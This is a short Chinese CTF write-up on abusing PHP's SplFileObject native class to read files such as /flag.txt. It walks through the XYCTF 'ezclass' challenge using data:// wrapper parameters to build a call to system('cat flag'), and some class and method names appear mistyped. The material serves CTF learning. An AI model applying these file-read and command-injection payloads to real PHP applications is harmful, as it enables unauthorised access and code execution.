可读取文件类
SplFileObject 类
原理:
该类的构造方法可以构造一个新的文件对象用于后续的读取。其大致原理可简单理解为,当类中__tostring
魔术方法被触发时,如果类中内容为存在文件名,那么它会对此文件名进行内容获取。
代码:
<?php
$dir=new SplFileObject("/flag.txt");
echo $dir;
?>
但是这样只能读取一行,想要读取多行
<?php
$dir = new SplFileObject("/flag.txt");
foreach($dir as $tmp){
echo ($tmp.'<br>');
}
?>
这里以XYCTF中的ezclass为例题讲解
这里一看到new 以及后面这种代码格式,就直接利用原生类就可以
但是这里是两个命令拼接到一起了。,那就利用伪协议读取文件
首先a=SpIFileObject aa=data://text/plain,system c=_toString
这样构造的目的是触碰到原生类中的tostring方法,将文件内容读取出来
同理
b=SpIFileObject bb=data://text/plain,cat flag c=_toString
这样就把两个命令拼接到一起了,因为源代码中有()包裹后面的new代码,所以system不用加(),否则作为代码执行,必须严格符合代码规则。
成功得到flag